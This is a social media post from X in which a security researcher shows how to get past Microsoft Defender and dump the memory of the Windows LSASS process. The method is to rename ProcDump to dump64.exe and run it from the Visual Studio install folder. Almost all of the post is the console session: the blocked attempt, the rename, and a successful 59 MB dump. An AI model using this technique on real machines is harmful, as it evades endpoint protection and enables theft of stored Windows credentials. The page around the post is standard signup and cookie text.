



Settings



Post



mr.d0x 
@mrd0x



If you rename procdump.exe to dump64.exe and place it in the "C:\Program Files (x86)\Microsoft Visual Studio*" folder, you can bypass Defender and dump LSASS.

```
C:\Program Files (x86)\Microsoft Visual Studio>procdump64.exe -ma 904 out.dmp
Access is denied.

C:\Program Files (x86)\Microsoft Visual Studio>move procdump64.exe dump64.exe
1 file(s) moved.

C:\Program Files (x86)\Microsoft Visual Studio>dump64.exe -ma 904 out.dmp

ProcDump v9.0 - Sysinternals process dump utility
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[08:13:33] Dump 1 initiated: C:\Program Files (x86)\Microsoft Visual Studio\out.dmp
[08:13:33] Dump 1 writing: Estimated dump file size is 59 MB.
[08:13:34] Dump 1 complete: 59 MB written in 0.2 seconds
[08:13:34] Dump count reached.
```

2:17 PM · Nov 16, 2021

1,171 Reposts 64 Quotes 3,446 Likes 513 Bookmarks



513



New to X?

Sign up now to get your own personalized timeline!



Sign up with Google



Sign up with Apple

Create account

By signing up, you agree to the [Terms of Service](#) and [Privacy Policy](#), including [Cookie Use](#).

Something went wrong. Try reloading.



Retry

[Terms of Service](#) [Privacy Policy](#) [Cookie Policy](#)
[Accessibility](#) [Ads info](#) [More ...](#) © 2024 X Corp.

Don't miss what's happening

People on X are the first to know.

Log in

Sign up

Welcome to x.com!



We are letting you know that we are changing our URL, but your privacy and data protection settings remain the same.
For more details, see our Privacy Policy: <https://x.com/en/privacy>.

Did someone say ... cookies?

X and its partners use cookies to provide you with a better, safer and faster service and to support our business. Some cookies are necessary to use our services, improve our services, and make sure they work properly. [Show more about your choices.](#)

Accept all cookies

Refuse non-essential cookies